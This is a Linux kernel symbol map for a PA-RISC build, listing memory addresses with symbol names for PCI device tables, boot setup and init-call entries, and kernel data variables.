102d3ce4 ? __devices_1475
102d3ce4 ? __devices_1476
102d3ce4 ? __devices_1477
102d3ce4 ? __devices_1478
102d3ce4 ? __devices_1479
102d3ce4 ? __devices_147a
102d3ce4 ? __devices_147b
102d3ce4 ? __devices_147c
102d3ce4 ? __devices_147d
102d3ce4 ? __devices_147e
102d3ce4 ? __devices_147f
102d3ce4 ? __devices_1480
102d3ce4 ? __devices_1481
102d3ce4 ? __devices_1482
102d3ce4 ? __devices_1483
102d3ce4 ? __devices_1484
102d3ce4 ? __devices_1485
102d3ce4 ? __devices_1486
102d3ce4 ? __devices_1487
102d3ce4 ? __devices_1488
102d3ce4 ? __devices_1489
102d3ce4 ? __devices_148a
102d3ce4 ? __devices_148b
102d3ce4 ? __devices_148c
102d3ce4 ? __devices_148d
102d3ce4 ? __devices_148e
102d3ce4 ? __devices_148f
102d3ce4 ? __devices_1490
102d3ce4 ? __devices_1491
102d3ce4 ? __devices_1492
102d3ce4 ? __devices_1493
102d3ce4 ? __devices_1494
102d3ce4 ? __devices_1495
102d3ce4 ? __devices_1496
102d3ce4 ? __devices_1497
102d3ce4 ? __devices_1498
102d3ce4 ? __devices_1499
102d3ce4 ? __devices_149a
102d3ce4 ? __devices_149b
102d3ce4 ? __devices_149c
102d3ce4 ? __devices_149d
102d3ce4 ? __devices_149e
102d3ce4 ? __devices_149f
102d3ce4 ? __devices_14a0
102d3ce4 ? __devices_14a1
102d3ce4 ? __devices_14a2
102d3ce4 ? __devices_14a3
102d3ce4 ? __devices_14a4
102d3ce4 ? __devices_14a5
102d3ce4 ? __devices_14a6
102d3ce4 ? __devices_14a7
102d3ce4 ? __devices_14a8
102d3ce4 ? __devices_14a9
102d3ce4 ? __devices_14aa
102d3ce4 ? __devices_14ab
102d3ce4 ? __devices_14ac
102d3ce4 ? __devices_14ad
102d3ce4 ? __devices_14ae
102d3ce4 ? __devices_14af
102d3ce4 ? __devices_14b0
102d3ce4 ? __devices_14b1
102d3ce4 ? __devices_14b2
102d3ce4 ? __devices_14b3
102d3cec ? __devices_14b4
102d3cec ? __devices_14b5
102d3cec ? __devices_14b6
102d3cec ? __devices_14b7
102d3cf4 ? __devices_14b8
102d3cf4 ? __devices_14b9
102d3cfc ? __devices_14ba
102d3cfc ? __devices_14bb
102d3cfc ? __devices_14bc
102d3cfc ? __devices_14bd
102d3cfc ? __devices_14be
102d3cfc ? __devices_14bf
102d3cfc ? __devices_14c0
102d3cfc ? __devices_14c1
102d3cfc ? __devices_14c2
102d3cfc ? __devices_14c3
102d3cfc ? __devices_14c4
102d3cfc ? __devices_14c5
102d3cfc ? __devices_14c6
102d3cfc ? __devices_14c7
102d3cfc ? __devices_14c8
102d3cfc ? __devices_14c9
102d3cfc ? __devices_14ca
102d3cfc ? __devices_14cb
102d3cfc ? __devices_14cc
102d3cfc ? __devices_14cd
102d3cfc ? __devices_14ce
102d3cfc ? __devices_14cf
102d3cfc ? __devices_14d0
102d3cfc ? __devices_14d1
102d3cfc ? __devices_14d2
102d3cfc ? __devices_14d3
102d3cfc ? __devices_14d4
102d3cfc ? __devices_14d5
102d3cfc ? __devices_14d6
102d3cfc ? __devices_14d7
102d3cfc ? __devices_14d8
102d3cfc ? __devices_14d9
102d3cfc ? __devices_14da
102d3cfc ? __devices_14db
102d3d04 ? __devices_14dc
102d3d54 ? __devices_14dd
102d3d54 ? __devices_14de
102d3d54 ? __devices_14df
102d3d54 ? __devices_14e1
102d3d54 ? __devices_14e2
102d3d54 ? __devices_14e3
102d3d54 ? __devices_14e4
102d3d54 ? __devices_14e5
102d3d54 ? __devices_14e6
102d3d54 ? __devices_14e7
102d3d54 ? __devices_14e8
102d3d54 ? __devices_14e9
102d3d54 ? __devices_14ea
102d3d54 ? __devices_14eb
102d3d54 ? __devices_14ec
102d3d54 ? __devices_14ed
102d3d54 ? __devices_14ee
102d3d54 ? __devices_14ef
102d3d54 ? __devices_14f0
102d3d54 ? __devices_14f1
102d3da4 ? __devices_14f2
102d3da4 ? __devices_14f3
102d3da4 ? __devices_14f4
102d3da4 ? __devices_14f5
102d3da4 ? __devices_14f6
102d3da4 ? __devices_14f7
102d3da4 ? __devices_14f8
102d3da4 ? __devices_14f9
102d3da4 ? __devices_14fa
102d3da4 ? __devices_14fb
102d3da4 ? __devices_14fc
102d3da4 ? __devices_14fd
102d3da4 ? __devices_14fe
102d3da4 ? __devices_14ff
102d3da4 ? __devices_1500
102d3da4 ? __devices_1501
102d3da4 ? __devices_1502
102d3da4 ? __devices_1503
102d3da4 ? __devices_1504
102d3da4 ? __devices_1505
102d3da4 ? __devices_1506
102d3da4 ? __devices_1507
102d3dec ? __devices_1508
102d3dec ? __devices_1509
102d3dec ? __devices_150a
102d3dec ? __devices_150b
102d3dec ? __devices_150c
102d3dec ? __devices_150d
102d3dec ? __devices_150e
102d3dec ? __devices_150f
102d3dec ? __devices_1510
102d3dec ? __devices_1511
102d3dec ? __devices_1512
102d3dec ? __devices_1513
102d3dec ? __devices_1514
102d3dec ? __devices_1515
102d3dec ? __devices_1516
102d3dec ? __devices_1517
102d3dec ? __devices_1518
102d3dec ? __devices_1519
102d3dec ? __devices_151a
102d3e04 ? __devices_151b
102d3e04 ? __devices_151c
102d3e04 ? __devices_151d
102d3e04 ? __devices_151e
102d3e04 ? __devices_151f
102d3e04 ? __devices_1520
102d3e04 ? __devices_1521
102d3e04 ? __devices_1522
102d3e04 ? __devices_1523
102d3e04 ? __devices_1524
102d3e04 ? __devices_1525
102d3e04 ? __devices_1526
102d3e04 ? __devices_1527
102d3e04 ? __devices_1528
102d3e04 ? __devices_1529
102d3e04 ? __devices_152a
102d3e04 ? __devices_152b
102d3e04 ? __devices_152c
102d3e04 ? __devices_152d
102d3e04 ? __devices_152e
102d3e04 ? __devices_152f
102d3e04 ? __devices_1530
102d3e04 ? __devices_1531
102d3e04 ? __devices_1532
102d3e04 ? __devices_1533
102d3e04 ? __devices_1534
102d3e04 ? __devices_1535
102d3e04 ? __devices_1537
102d3e04 ? __devices_1538
102d3e04 ? __devices_1539
102d3e04 ? __devices_153a
102d3e04 ? __devices_153b
102d3e04 ? __devices_153c
102d3e04 ? __devices_153d
102d3e04 ? __devices_153e
102d3e04 ? __devices_153f
102d3e04 ? __devices_1540
102d3e04 ? __devices_1541
102d3e04 ? __devices_1542
102d3e04 ? __devices_1543
102d3e04 ? __devices_1544
102d3e04 ? __devices_1545
102d3e04 ? __devices_1546
102d3e04 ? __devices_1547
102d3e04 ? __devices_1548
102d3e04 ? __devices_1549
102d3e04 ? __devices_154a
102d3e04 ? __devices_154b
102d3e04 ? __devices_154c
102d3e04 ? __devices_154d
102d3e04 ? __devices_154e
102d3e04 ? __devices_154f
102d3e04 ? __devices_1550
102d3e04 ? __devices_1551
102d3e04 ? __devices_1552
102d3e04 ? __devices_1553
102d3e04 ? __devices_1554
102d3e04 ? __devices_1555
102d3e04 ? __devices_1556
102d3e04 ? __devices_1557
102d3e04 ? __devices_1558
102d3e04 ? __devices_1559
102d3e04 ? __devices_155a
102d3e04 ? __devices_155b
102d3e04 ? __devices_155c
102d3e04 ? __devices_155d
102d3e04 ? __devices_155e
102d3e04 ? __devices_155f
102d3e04 ? __devices_1560
102d3e04 ? __devices_1561
102d3e04 ? __devices_1562
102d3e04 ? __devices_1563
102d3e04 ? __devices_1564
102d3e04 ? __devices_1565
102d3e04 ? __devices_1566
102d3e04 ? __devices_1567
102d3e04 ? __devices_1568
102d3e04 ? __devices_1569
102d3e04 ? __devices_156a
102d3e04 ? __devices_156b
102d3e04 ? __devices_156c
102d3e04 ? __devices_156d
102d3e04 ? __devices_156e
102d3e04 ? __devices_156f
102d3e04 ? __devices_1570
102d3e04 ? __devices_1571
102d3e9c ? __devices_1572
102d3e9c ? __devices_1573
102d3e9c ? __devices_1574
102d3e9c ? __devices_1575
102d3e9c ? __devices_1576
102d3e9c ? __devices_1578
102d3e9c ? __devices_1579
102d3e9c ? __devices_157a
102d3e9c ? __devices_157b
102d3e9c ? __devices_157c
102d3ea4 ? __devices_157d
102d3ea4 ? __devices_157e
102d3ea4 ? __devices_157f
102d3ea4 ? __devices_1580
102d3ea4 ? __devices_1581
102d3ea4 ? __devices_1582
102d3ea4 ? __devices_1583
102d3ea4 ? __devices_1584
102d3ea4 ? __devices_1585
102d3ea4 ? __devices_1586
102d3ea4 ? __devices_1587
102d3ea4 ? __devices_1588
102d3ea4 ? __devices_1589
102d3ea4 ? __devices_158a
102d3ea4 ? __devices_158b
102d3ea4 ? __devices_158c
102d3ea4 ? __devices_158d
102d3ea4 ? __devices_158e
102d3ea4 ? __devices_158f
102d3ea4 ? __devices_1590
102d3ea4 ? __devices_1591
102d3ea4 ? __devices_1592
102d3ee4 ? __devices_1593
102d3ee4 ? __devices_1594
102d3ee4 ? __devices_1595
102d3ee4 ? __devices_1596
102d3ee4 ? __devices_1597
102d3ee4 ? __devices_1598
102d3ee4 ? __devices_1599
102d3ee4 ? __devices_159a
102d3ee4 ? __devices_159b
102d3ee4 ? __devices_159c
102d3ee4 ? __devices_159d
102d3ee4 ? __devices_159e
102d3ee4 ? __devices_159f
102d3ee4 ? __devices_15a0
102d3ee4 ? __devices_15a1
102d3ee4 ? __devices_15a2
102d3ee4 ? __devices_15a3
102d3ee4 ? __devices_15a4
102d3ee4 ? __devices_15a5
102d3ee4 ? __devices_15a6
102d3ee4 ? __devices_15a7
102d3ee4 ? __devices_15a8
102d3ee4 ? __devices_15aa
102d3ee4 ? __devices_15ab
102d3ee4 ? __devices_15ac
102d3ee4 ? __devices_15ad
102d3eec ? __devices_15ae
102d3eec ? __devices_15b0
102d3eec ? __devices_15b1
102d3eec ? __devices_15b2
102d3eec ? __devices_15b3
102d3eec ? __devices_15b4
102d3eec ? __devices_15b5
102d3eec ? __devices_15b6
102d3eec ? __devices_15b7
102d3eec ? __devices_15b8
102d3eec ? __devices_15b9
102d3eec ? __devices_15ba
102d3eec ? __devices_15bb
102d3eec ? __devices_15bc
102d3eec ? __devices_15bd
102d3eec ? __devices_15be
102d3eec ? __devices_15bf
102d3eec ? __devices_15c0
102d3eec ? __devices_15c1
102d3eec ? __devices_15c2
102d3eec ? __devices_15c3
102d3eec ? __devices_15c4
102d3eec ? __devices_15c5
102d3eec ? __devices_15c6
102d3eec ? __devices_15c7
102d3eec ? __devices_15c8
102d3eec ? __devices_15c9
102d3eec ? __devices_15ca
102d3eec ? __devices_15cb
102d3eec ? __devices_15cc
102d3eec ? __devices_15cd
102d3eec ? __devices_15ce
102d3eec ? __devices_15cf
102d3eec ? __devices_15d1
102d3eec ? __devices_15d2
102d3eec ? __devices_15d3
102d3eec ? __devices_15d4
102d3eec ? __devices_15d5
102d3eec ? __devices_15d6
102d3eec ? __devices_15d7
102d3eec ? __devices_15d8
102d3eec ? __devices_15d9
102d3eec ? __devices_15da
102d3eec ? __devices_15db
102d3eec ? __devices_15dc
102d3ef4 ? __devices_15dd
102d3ef4 ? __devices_15de
102d3ef4 ? __devices_15df
102d3ef4 ? __devices_15e0
102d3ef4 ? __devices_15e1
102d3ef4 ? __devices_15e2
102d3ef4 ? __devices_15e3
102d3ef4 ? __devices_15e4
102d3ef4 ? __devices_15e5
102d3ef4 ? __devices_15e6
102d3ef4 ? __devices_15e7
102d3ef4 ? __devices_15e8
102d3ef4 ? __devices_15e9
102d3ef4 ? __devices_15ea
102d3ef4 ? __devices_15eb
102d3ef4 ? __devices_15ec
102d3ef4 ? __devices_15ed
102d3ef4 ? __devices_15ee
102d3ef4 ? __devices_15ef
102d3ef4 ? __devices_15f0
102d3ef4 ? __devices_15f1
102d3ef4 ? __devices_15f2
102d3ef4 ? __devices_15f3
102d3ef4 ? __devices_15f4
102d3ef4 ? __devices_15f5
102d3ef4 ? __devices_15f6
102d3ef4 ? __devices_15f7
102d3ef4 ? __devices_15f8
102d3ef4 ? __devices_15f9
102d3ef4 ? __devices_15fa
102d3ef4 ? __devices_15fb
102d3ef4 ? __devices_15fc
102d3ef4 ? __devices_15fd
102d3ef4 ? __devices_15fe
102d3ef4 ? __devices_15ff
102d3ef4 ? __devices_1600
102d3ef4 ? __devices_1601
102d3ef4 ? __devices_1602
102d3ef4 ? __devices_1603
102d3ef4 ? __devices_1604
102d3ef4 ? __devices_1605
102d3ef4 ? __devices_1606
102d3ef4 ? __devices_1607
102d3ef4 ? __devices_1608
102d3ef4 ? __devices_1609
102d3ef4 ? __devices_1668
102d3ef4 ? __devices_1813
102d3ef4 ? __devices_1a08
102d3efc ? __devices_1b13
102d3efc ? __devices_1c1c
102d3f04 ? __devices_1d44
102d3f0c ? __devices_1de1
102d3f2c ? __devices_2001
102d3f2c ? __devices_21c3
102d3f2c ? __devices_2348
102d3f34 ? __devices_2646
102d3f34 ? __devices_270b
102d3f34 ? __devices_270f
102d3f34 ? __devices_2711
102d3f34 ? __devices_2a15
102d3f34 ? __devices_3000
102d3f34 ? __devices_3142
102d3f34 ? __devices_3388
102d3f4c ? __devices_3411
102d3f4c ? __devices_3513
102d3f4c ? __devices_38ef
102d3f4c ? __devices_3d3d
102d3fbc ? __devices_4005
102d4024 ? __devices_4033
102d4024 ? __devices_4143
102d4024 ? __devices_416c
102d4024 ? __devices_4444
102d4024 ? __devices_4468
102d4024 ? __devices_4594
102d4024 ? __devices_45fb
102d4024 ? __devices_4680
102d4024 ? __devices_4843
102d4024 ? __devices_4916
102d402c ? __devices_4943
102d402c ? __devices_4978
102d402c ? __devices_4a14
102d4034 ? __devices_4b10
102d4034 ? __devices_4c48
102d4034 ? __devices_4ca1
102d4034 ? __devices_4d51
102d403c ? __devices_4d54
102d403c ? __devices_4ddc
102d403c ? __devices_5053
102d4044 ? __devices_5136
102d4044 ? __devices_5143
102d4044 ? __devices_5145
102d404c ? __devices_5301
102d4054 ? __devices_5333
102d424c ? __devices_544c
102d424c ? __devices_5455
102d4254 ? __devices_5519
102d4254 ? __devices_5555
102d425c ? __devices_5700
102d425c ? __devices_6356
102d425c ? __devices_6374
102d4264 ? __devices_6409
102d4264 ? __devices_6666
102d4274 ? __devices_7604
102d4274 ? __devices_7bde
102d4274 ? __devices_7fed
102d4274 ? __devices_8008
102d4284 ? __devices_8086
102d4634 ? __devices_8800
102d463c ? __devices_8866
102d463c ? __devices_8888
102d463c ? __devices_8e0e
102d463c ? __devices_8e2e
102d4644 ? __devices_9004
102d488c ? __devices_9005
102d492c ? __devices_907f
102d4934 ? __devices_919a
102d4934 ? __devices_9412
102d493c ? __devices_9699
102d4944 ? __devices_a0a0
102d4944 ? __devices_a0f1
102d4944 ? __devices_a200
102d4944 ? __devices_a259
102d4944 ? __devices_a25b
102d4944 ? __devices_a304
102d4944 ? __devices_a727
102d4944 ? __devices_aa42
102d4944 ? __devices_ac1e
102d4944 ? __devices_b1b3
102d4944 ? __devices_c001
102d4944 ? __devices_c0a9
102d4944 ? __devices_c0de
102d4944 ? __devices_c0fe
102d4944 ? __devices_ca50
102d4944 ? __devices_cafe
102d4944 ? __devices_cccc
102d4944 ? __devices_d4d4
102d494c ? __devices_d84d
102d494c ? __devices_e000
102d4954 ? __devices_e159
102d495c ? __devices_e4bf
102d495c ? __devices_ea01
102d495c ? __devices_eabb
102d495c ? __devices_ecc0
102d495c ? __devices_edd8
102d497c ? __devices_fa57
102d497c ? __devices_feda
102d497c ? __devices_fffe
102d4984 ? __devices_ffff
102d4984 ? pci_vendor_list
102d9574 ? raid_setup_args
102d957c ? __setup_str_raid_setup
102d9584 ? __setup_str_netdev_boot_setup
102d958c ? __setup_str_eth_setup
102d9594 ? user_dev_name
102d95a4 ? ic_myaddr
102d95a8 ? ic_servaddr
102d95ac ? ic_gateway
102d95b0 ? ic_netmask
102d95b4 ? ic_enable
102d95b8 ? ic_host_name_set
102d95bc ? ic_set_manually
102d95c0 ? root_server_addr
102d95c4 ? root_server_path
102d96c4 ? ic_proto_enabled
102d96c8 ? ic_got_reply
102d96cc ? ic_proto_have_if
102d96d0 ? ic_first_dev
102d96d4 ? ic_dev
102d96d8 ? bootp_packet_type
102d96ec ? __setup_str_ip_auto_config_setup
102d96f0 ? __setup_str_nfsaddrs_config_setup
102d9700 ? __setup_profile_setup
102d9700 A __setup_start
102d9708 ? __setup_root_dev_setup
102d9710 ? __setup_readonly
102d9718 ? __setup_readwrite
102d9720 ? __setup_debug_kernel
102d9728 ? __setup_quiet_kernel
102d9730 ? __setup_panic_setup
102d9738 ? __setup_console_setup
102d9740 ? __setup_reserve_setup
102d9748 ? __setup_setup_mem_frac
102d9750 ? __setup_nfs_root_setup
102d9758 ? __setup_no_initrd
102d9760 ? __setup_ramdisk_start_setup
102d9768 ? __setup_load_ramdisk
102d9770 ? __setup_prompt_ramdisk
102d9778 ? __setup_ramdisk_size
102d9780 ? __setup_ramdisk_size2
102d9788 ? __setup_ramdisk_blocksize
102d9790 ? __setup_parport_setup
102d9798 ? __setup_scsi_logging_setup
102d97a0 ? __setup_scsi_setup
102d97a8 ? __setup_scsi_luns_setup
102d97b0 ? __setup_sym53c8xx_setup
102d97b8 ? __setup_param_setup
102d97c0 ? __setup_ncr53c8xx_setup
102d97c8 ? __setup_st_setup
102d97d0 ? __setup_sg_def_reserved_size_setup
102d97d8 ? __setup_pci_setup
102d97e0 ? __setup_raid_setup
102d97e8 ? __setup_netdev_boot_setup
102d97f0 ? __setup_eth_setup
102d97f8 ? __setup_ip_auto_config_setup
102d9800 ? __setup_nfsaddrs_config_setup
102d9808 ? __initcall_pcxl_dma_init
102d9808 A __initcall_start
102d9808 A __setup_end
102d980c ? __initcall_uid_cache_init
102d9810 ? __initcall_kmem_cpucache_init
102d9814 ? __initcall_kswapd_init
102d9818 ? __initcall_init_shmem_fs
102d981c ? __initcall_bdflush_init
102d9820 ? __initcall_init_pipe_fs
102d9824 ? __initcall_fasync_init
102d9828 ? __initcall_filelock_init
102d982c ? __initcall_dnotify_init
102d9830 ? __initcall_init_som_binfmt
102d9834 ? __initcall_init_script_binfmt
102d9838 ? __initcall_init_elf_binfmt
102d983c ? __initcall_init_proc_fs
102d9840 ? __initcall_partition_setup
102d9844 ? __initcall_init_ext2_fs
102d9848 ? __initcall_init_iso9660_fs
102d984c ? __initcall_rs_init
102d9850 ? __initcall_rtc_generic_init
102d9854 ? __initcall_tulip_init
102d9858 ? __initcall_parport_gsc_init_module
102d985c ? __initcall_init_scsi
102d9860 ? __initcall_init_this_scsi_driver
102d9864 ? __initcall_init_this_scsi_driver
102d9868 ? __initcall_init_this_scsi_driver
102d986c ? __initcall_init_st
102d9870 ? __initcall_init_sd
102d9874 ? __initcall_init_sr
102d9878 ? __initcall_init_sg
102d987c ? __initcall_cdrom_init
102d9880 ? __initcall_pci_proc_init
102d9884 ? __initcall_linear_init
102d9888 ? __initcall_raid0_init
102d988c ? __initcall_raid1_init
102d9890 ? __initcall_raid5_init
102d9894 ? __initcall_calibrate_xor_block
102d9898 ? __initcall_md_init
102d989c ? __initcall_inet_init
102d98a0 ? __initcall_ip_auto_config
102d98a4 ? __initcall_af_unix_init
102d98a8 A __init_end
102d98a8 A __initcall_end
102dc000 ? init_task_union
102de000 A _edata
102de000 b pdc_console_initialized
102de004 b max_pfn
102de008 b dirty_space_id
102df008 b space_id_index
102df040 b tod_data___0
102df048 b clocktick
102df04c b halftick
102df080 b posx___0
102df088 b iodc_retbuf___1
102df140 b iodc_dbuf___2
102e0140 b pdc_result
102e01c0 b pdc_result2
102e0240 b num_devices
102e0244 b pa_devices
102e1044 b pcxl_res_lock
102e1048 b pcxl_res_map
102e104c b pcxl_res_hint
102e1050 b pcxl_res_size
102e1080 B real_stack
102e3080 b save_cr_space
102e30c0 b parisc_pci_hba
102e3140 b def_sysrq_xlate
102e31c0 b lba_t32
102e31c4 b iosapic_list
102e31c8 b iosapic_lock
102e31cc b iosapic_count
102e31d0 b irt_cell
102e31d4 b irt_num_entry
102e31d8 b sba_list
102e31dc b sba_count
102e31e0 b ccio_list
102e31e4 b ccio_count
102e31e8 b cujo_iodc
102e3200 b buf___0
102e3600 b buf
102e3a00 b log_buf
102e7a00 b log_start
102e7a04 b logged_chars
102e7a08 b kmalloc_failed
102e7a40 b softirq_vec
102e7b40 b bh_base
102e7bc0 b reserve___1
102e7c30 b minolduid
102e7c34 b tv5
102e7e38 b tv4
102e803c b tv3
102e8240 b tv2
102e8444 b tv1
102e8c48 b timer_jiffies
102e8c4c b uid_cachep
102e8c50 b uidhash_table
102e9050 b sigqueue_cachep
102e9054 b reboot_notifier_list
102e9058 b keventd_running
102e905c b keventd_task
102e9060 b dummy_task
102e9074 b offslab_limit
102e9078 b cache_chain_sem
102e908c b contig_bootmem_data
102e90a0 b buffer___0
102e90c0 b buffer___1
102e90e0 b chrdevs
102e98d8 b bh_hash_mask
102e98dc b bh_hash_shift
102e98e0 b hash_table
102e98e4 b lru_list
102e98f4 b nr_buffers_type
102e9904 b size_buffers_type
102e9914 b unused_list
102e9918 b nr_unused_buffer_heads
102e991c b free_list
102e9954 b file_systems
102e9958 b unnamed_dev_in_use
102e9978 b buffer___0
102e9998 b bdev_hashtable
102e9b98 b bdev_cachep
102e9b9c b blkdevs
102ea394 b formats
102ea398 b pipe_mnt
102ea39c b fasync_cache
102ea3a0 b filelock_cache
102ea3a4 b dentry_cache
102ea3a8 b d_hash_mask
102ea3ac b d_hash_shift
102ea3b0 b dentry_hashtable
102ea3b4 b empty_aops___0
102ea3cc b empty_iops___1
102ea40c b empty_fops___2
102ea44c b last_ino___3
102ea450 b i_hash_mask
102ea454 b i_hash_shift
102ea458 b inode_hashtable
102ea45c b inode_cachep
102ea460 b kiobuf_cachep
102ea464 b dn_cache
102ea468 b proc_alloc_map
102ea668 b proc_tty_ldisc
102ea66c b proc_tty_driver
102ea670 b p___0
102ea674 b current_minor
102ea678 b error_buf
102eaa78 b nfs_rdata_cachep
102eaa7c b complain___0
102eaa80 b nfs_page_cachep
102eaa84 b nfs_wdata_cachep
102eaa88 b sillycounter___0
102eaa8c b nfs_deletes
102eaa90 b mnt_stats
102eaab8 b buf___0
102eab08 b nlm_blocked
102eab0c b buf___0
102eab5c b buf___0
102eabac b nlm_hosts
102eac2c b next_gc
102eac30 b nrhosts
102eac34 b buf___0
102eac84 b nlmsvc_users
102eac88 b nlmsvc_pid
102eac8c b nlmsvc_stats
102eacb0 b buf___0
102ead00 b nlm_blocked
102ead04 b buf___0
102ead54 b buf___0
102eada4 b buf___0
102eadf4 b nlm_files
102eae74 b buf___0
102eaec4 b nsm_stats
102eaeec b buf___0
102eaf3c b nlm_stats
102eaf64 b msg_ids
102eaf90 b sem_ids
102eafbc b used_sems
102eafc0 b shm_ids
102eafec b shm_tot
102eaff0 b request_cachep
102eaff4 b ro_bits
102ecfd4 b queue_ID___0
102ecfd8 b initrd_users
102ecfdc b rd_length
102ed01c b rd_hardsec
102ed05c b rd_blocksizes
102ed09c b rd_kbsize
102ed0dc b devfs_handle
102ed0e0 b rd_inode
102ed120 b inbuf
102ed124 b window
102ed128 b insize
102ed12c b inptr
102ed130 b outcnt
102ed134 b exit_code
102ed138 b bytes_out
102ed13c b crd_infp
102ed140 b crd_outfp
102ed144 b bb
102ed148 b bk
102ed14c b hufts
102ed150 b crc_32_tab
102ed550 b crc
102ed554 b nr_warns___2
102ed558 b dev_tty_driver
102ed614 b dev_syscons_driver
102ed6d0 b dev_ptmx_driver
102ed78c b dev_console_driver
102ed848 b raw_device_bindings
102edc48 b raw_device_inuse
102ee048 b raw_device_sector_size
102ee448 b raw_device_sector_bits
102ee848 b pty_driver
102ee904 b pty_slave_driver
102ee9c0 b pty_refcount
102ee9c4 b pty_table
102eedc4 b pty_termios
102ef1c4 b pty_termios_locked
102ef5c4 b ttyp_table
102ef9c4 b ttyp_termios
102efdc4 b ttyp_termios_locked
102f01c4 b pty_state
102f11c4 b ptm_table
102f15c4 b ptm_termios
102f19c4 b ptm_termios_locked
102f1dc4 b pts_table
102f21c4 b pts_termios
102f25c4 b pts_termios_locked
102f29c4 b ptm_state
102f39c4 b devfs_handle___0
102f39c8 b misc_minors
102f39d0 b last_scancode___1
102f39d4 b rekey_time___2
102f39d8 b count___3
102f39dc b secret___4
102f3a0c b rekey_time___5
102f3a10 b secret___6
102f3a40 b random_state
102f3a44 b sec_random_state
102f3a48 b batch_entropy_pool
102f3a4c b batch_entropy_credit
102f3a50 b batch_max
102f3a54 b batch_head
102f3a58 b batch_tail
102f3a5c b batch_tqueue
102f3a70 b keyboard_timer_state
102f3a80 b mouse_timer_state
102f3a90 b extract_timer_state
102f3aa0 b irq_timer_state
102f42a0 b blkdev_timer_state
102f469c b sysctl_poolsize
102f46a0 b min_read_thresh
102f46a4 b max_read_thresh
102f46a8 b min_write_thresh
102f46ac b max_write_thresh
102f46b0 b sysctl_bootid
102f46c0 b devfs_handle
102f46c4 b inv_translate
102f47c0 b dflt
102f47c4 b p___0
102f47c8 b old___1
102f47ca b oldx___2
102f47cc b oldy___3
102f47d0 b printing___5
102f47d4 b console_table
102f48d0 b console_termios
102f49cc b console_termios_locked
102f4ac8 b con_driver_map
102f4bc4 b printable
102f4bc8 b vesa_blank_mode
102f4bcc b vesa_off_interval
102f4bd0 b master_display_fg
102f4bd4 b scrollback_delta
102f4bd8 b console_timer
102f4bec b pm_con
102f4bf0 b softcursor_original
102f4bf4 b console_refcount
102f4bf8 b sel_end
102f4bfc b sel_buffer_lth
102f4c00 b sel_buffer
102f4c04 b last_strobe___0
102f4c08 b info___2
102f4c0c b info___3
102f4c10 b serial_driver
102f4ccc b callout_driver
102f4d88 b serial_refcount
102f4d8c b serial_timer
102f4da0 b IRQ_ports
102f55a0 b IRQ_timeout
102f5da0 b lsr_break_flag
102f5da4 b break_pressed
102f5da8 b serial_pci_board
102f5ee8 b serial_pci_board_idx
102f5eec b serial_table
102f5fec b serial_termios
102f60ec b serial_termios_locked
102f61ec b tmp_buf
102f61f0 b async_sercons
102f62ac b k_down
102f62b8 b key_down
102f62d8 b dead_key_next
102f62dc b diacr
102f62dd b rep
102f62e0 b ttytab
102f62e4 b tty
102f62e8 b sysrq_pressed
102f62ec b pm_kbd
102f62f0 b ledioctl
102f62f4 b ledptrs
102f6318 b lasi_psaux_keyb
102f631c b lasikbd_hpa
102f6320 b inited
102f6324 b prev_scancode___0
102f6328 b brk___1
102f632c b esc0___2
102f6330 b esc1___3
102f6334 b gen_uie_timer
102f6348 b did_version___0
102f634c b last_irq___2
102f6350 b multiport_cnt___3
102f6354 b full_duplex
102f6374 b options
102f6394 b mtu
102f63b4 b irqs
102f63b8 b port_from_cookie
102f6400 b serial_number
102f6404 b scsi_bh_queue_head
102f6408 b scsi_bh_queue_tail
102f640c b scsihosts
102f6410 b need_isa_bounce_buffers
102f6414 b f___0
102f6418 b hosts_tptr
102f6440 b hosts_tptr
102f6480 b iodc_data
102f64c0 b buffer_kbs
102f64c4 b write_threshold_kbs
102f64c8 b max_sg_segs
102f64cc b st_nbr_buffers
102f64d0 b modes_defined
102f64d4 b rscsi_disks
102f64d8 b sd_sizes
102f64dc b sd_blocksizes
102f64e0 b sd_hardsizes
102f64e4 b sd_registered
102f64e8 b sr_sizes
102f64ec b sr_blocksizes
102f64f0 b sr_hardsizes
102f64f4 b sr_registered
102f64f8 b banner_printed___0
102f64fc b cdrom_counter___1
102f6500 b initialized___2
102f6504 b debug
102f6508 b keeplocked
102f650c b autoeject
102f6510 b check_media_type
102f6514 b topCdromPtr
102f6518 b devfs_handle
102f651c b cdrom_sysctl_header
102f6520 b proc_bus_pci_dir
102f6524 b active_template
102f6528 b template_list
102f652c b pers
102f6548 b raid_table_header
102f654c b md_blocksizes
102f694c b md_hardsect_sizes
102f6d4c b md_maxreadahead
102f714c b md_recovery_thread
102f7150 b devfs_handle
102f7154 b sync_io
102f7554 b lasi_power_off_hpa
102f7558 b serial_line_nr
102f7560 b warned___0
102f7564 b net_families
102f75e4 b sock_mnt
102f75e8 b sk_cachep
102f75ec b skbuff_head_cache
102f75f0 b skb_head_pool
102f7630 b ifindex___1
102f7634 b ptype_base
102f7674 b dev_boot_setup
102f7774 b gifconf_list
102f77f4 b dst_garbage_list
102f77f8 b dst_gc_timer_expires
102f77fc b neigh_glbl_allocs
102f7800 b neigh_tables
102f7804 b last_msg___2
102f7808 b missed___3
102f7810 b buff___0
102f7824 b rover___0
102f7828 b last_gc___2
102f782c b rover___3
102f7830 b equilibrium___4
102f7834 b ip_fallback_id___7
102f7838 b rt_deadline
102f783c b rt_flush_timer
102f7850 b rt_periodic_timer
102f7864 b rt_hash_table
102f7868 b rt_hash_mask
102f786c b rt_hash_log
102f7870 b flush_delay
102f7874 b peer_cachep
102f7878 b peer_total
102f787c b ipq_hash
102f7980 b warntime___0
102f7988 b tcp_inode
102f7b60 b tcp_tw_death_row
102f7b80 b tcp_twcal_jiffie
102f7b84 b tcp_twcal_row
102f7c04 b complained___0
102f7c08 b dummy
102f7c0c b inetaddr_chain
102f7c10 b fib_info_list
102f7c14 b fn_hash_kmem
102f7c18 b fib_hash_zombies
102f7c1c b ic_bootp_xid
102f7c20 b unix_sysctl_header
102f7c24 b dummy___0
102f7c64 b rpc_task_id
102f7c68 b all_tasks
102f7c6c b rpciod_users
102f7c70 b rpciod_pid
102f7c74 b rpc_inhibit
102f7c78 b swap_buffer
102f8c78 b swap_buffer_used
102f8c7c b pmap_stats
102f8ca4 b sunrpc_table_header
102f8ca8 B rows
102f8cac B real_root_dev
102f8cb0 B cols
102f8cb4 B root_device_name
102f8cf4 B execute_command
102f8cf8 B Version_132096
102f8cfc B pm_power_off
102f8d00 B pcxl_dma_start
102f8d04 B empty_bad_page
102f8d08 B empty_zero_page
102f8d0c B vmalloc_start
102f8d10 B pmem_ranges
102f8d18 B npmem_ranges
